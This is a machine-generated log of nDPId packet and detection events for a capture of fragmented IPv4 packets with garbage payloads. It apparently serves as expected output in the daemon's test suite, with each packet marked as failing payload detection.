+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3194,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738120,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3194,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3195,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738129,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3195,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3196,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738136,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3196,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3197,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738144,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3197,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3198,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738152,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3198,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3199,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738159,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3199,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3200,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738166,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3200,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3201,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738214,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3201,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3202,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738231,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3202,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3203,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738244,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3203,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3204,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738259,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3204,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3205,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738271,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3205,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3206,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738280,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3206,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3207,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738292,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3207,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3208,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738304,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3208,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3209,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738316,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3209,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3210,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738330,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3210,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3211,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738342,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3211,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3212,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738354,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3212,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3213,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738367,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3213,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3214,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738379,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3214,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3215,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738390,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3215,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3216,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738402,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3216,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3217,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738414,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3217,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3218,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738426,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3218,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3219,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738440,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3219,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3220,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738452,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3220,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3221,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738465,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3221,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3222,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738478,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3222,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3223,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738490,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3223,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3224,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738502,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3224,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3225,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738513,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3225,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3226,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738527,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3226,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3227,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738539,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3227,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3228,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738552,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3228,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3229,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738563,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3229,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3230,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738620,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3230,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3231,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738627,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3231,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3232,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738634,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3232,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3233,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738641,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3233,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3234,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738649,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3234,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3235,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":738656,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3235,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 